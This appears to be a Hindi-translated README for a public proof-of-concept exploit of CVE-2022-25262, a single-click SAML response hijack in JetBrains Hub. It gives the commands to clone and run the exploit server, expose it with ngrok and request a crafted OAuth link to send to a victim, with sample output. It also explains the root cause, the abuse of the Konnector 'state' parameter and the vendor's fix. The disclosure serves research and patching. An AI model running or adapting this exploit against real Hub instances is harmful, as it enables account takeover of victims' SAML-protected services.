
PoC + CVE-2022-25262 / JetBrains Hub एक-क्लिक SAML प्रतिक्रिया टेकओवर के लिए भेद्यता विवरण
CVE-2022-25262 के लिए PoC + भेद्यता विवरण | JetBrains Hub सिंगल-क्लिक SAML प्रतिक्रिया अपहरण
इंस्टॉल करें और चलाएँ:
$ git clone https://github.com/yuriisanin/CVE-2022-25262
$ cd CVE-2022-25262/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] [-p P]
optional arguments:
-h, --help show this help message and exit
-p P Uvicorn port
# If you run the exploit on the local machine, you might need to use Ngrok or alternatives.
$ ngrok http 8000
उपयोग:
क्वेरी पैरामीटर:
एक्सप्लॉइट लिंक प्राप्त करें:
$ curl -v "http://{exploit-host}/get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml"
* Trying {exploit-host-ip}:80...
* Connected to {exploit-host} ({exploit-host-ip}) port 80 (#0)
> GET /get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml HTTP/1.1
> Host: {exploit-host-ip}
> User-Agent: curl/7.77.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 341
< Content-Type: application/json
< Date: Sat, 30 Apr 2022 19:14:45 GMT
< Server: uvicorn
<
* Connection #0 to host {exploit-host-ip} left intact
{"exploit_url":"https://hub.jetbrains.com/api/rest/oauth2/auth?client_id=fd6b45e6-4a91-4574-9fcf-ebc6926f6378&response_type=code&scope=Hub+YouTrack+TeamCity+Upsource+fd6b45e6-4a91-4574-9fcf-ebc6926f6378&state=fhdyaaf&access_type=offline&redirectURI=https://konnector.services.jetbrains.com/ring/oauth"}
डेमो:
इस कमजोरी में 2 मुख्य भाग हैं:
SAML IdP, OAuth के विस्तार के रूप में कार्य करता है। जब कोई विशिष्ट उपयोगकर्ता किसी विशिष्ट सेवा प्रदाता में लॉगिन करना चाहता है, तो वह OAuth ऑथराइज़ेशन कोड ग्रांट फ्लो (अनुरोध 1-2) से गुजरता है, और कोड प्राप्त होते ही वह कोड Hub को लौटा देता है (अनुरोध 3)। Hub कोड से जुड़े उपयोगकर्ता के बारे में जानकारी लेता है, और सेवा के लिए एक हस्ताक्षरित SAML प्रतिक्रिया जारी करता है। भले ही SAML IdP इंटीग्रेशन के लिए Hub OAuth2 क्लाइंट (client_id=0-0-0-0-0) का उपयोग करता है, यह जाँच नहीं करता कि कोड किस OAuth क्लाइंट की ओर से जारी किया गया था। यहाँ केवल इतना मायने रखता है कि कोड मान्य है या नहीं। यदि हमलावर को Hub में पंजीकृत किसी भी OAuth क्लाइंट से ऑथराइज़ेशन कोड अपहरण करने का कोई तरीका मिल जाता है, तो इसका परिणाम SAML प्रतिक्रिया अपहरण के रूप में हो सकता है।

YouTrack Konnector एक फर्स्ट-पार्टी सेवा है जो किसी विशिष्ट YouTrack इंस्टेंस को उनके Slack बॉट से कनेक्ट करने की अनुमति देती है। यह सेवा YouTrack का URL पता और Konnector OAuth क्लाइंट की आईडी और सीक्रेट दोनों लेती है (अनुरोध 1)। फिर यह सत्यापित करने का प्रयास करती है कि प्रदान किया गया URL किसी मान्य YouTrack की ओर इशारा करता है, इसके लिए यह कई API एंडपॉइंट्स को कॉल करती है ("हैंडशेक" अनुरोध 2-3)। यदि सब कुछ ठीक रहता है, तो Konnector एक URL लौटाएगा जो किसी विशिष्ट उपयोगकर्ता को OAuth कोड ग्रांट फ्लो के साथ आगे बढ़ने की अनुमति देगा (प्रतिक्रिया 1)। URL में एक "state" क्वेरी पैरामीटर होता है जो Konnector को OAuth ऑथराइज़ेशन कोड को सही हैंडलर (Hub इंस्टेंस) तक पहुँचाने में मदद करता है। एक हमलावर "हैंडशेक" के लिए आवश्यक एंडपॉइंट्स के साथ एक होस्ट बना सकता है और एक "state" पैरामीटर प्राप्त कर सकता है जो हमलावर के होस्ट की ओर इशारा करता है। उसके बाद, हमलावर एक OAuth ऑथराइज़ेशन URL तैयार कर सकता है और उसे पीड़ित को भेज सकता है। यदि पीड़ित लिंक पर क्लिक करता है और OAuth फ्लो पूरा करता है (पीड़ित के पास Hub में एक मान्य सत्र होना आवश्यक है), तो Konnector सेवा को कोड प्राप्त होगा और वह उसे हमलावर के होस्ट पर भेज देगी (अनुरोध 4-6)।

YouTrack टीम ने एक जाँच जोड़ी है जो "OAuth2 -> SAML" एक्सचेंज प्रक्रिया के दौरान "JetBrains Hub Service" OAuth क्लाइंट के लिए जारी किए गए ऑथराइज़ेशन कोड के उपयोग की अनुमति देती है। परिणामस्वरूप, "YouTrack Konnector" OAuth क्लाइंट के लिए जारी किए गए ऑथराइज़ेशन कोड का आदान-प्रदान करने का कोई तरीका नहीं है।
| Name | विवरण | आवश्यक |
|---|
| hub_url | लक्षित Hub इंस्टेंस का URL | ✅ |
| issuer | SAML जारीकर्ता (issuer) | ✅ |
| acs_url | assertion consumer service URL | ✅ |
| youtrack_url | Hub से जुड़े YouTrack इंस्टेंस का URL (यदि अतिथि उपयोगकर्ता अक्षम है तो आवश्यक) | ❔ |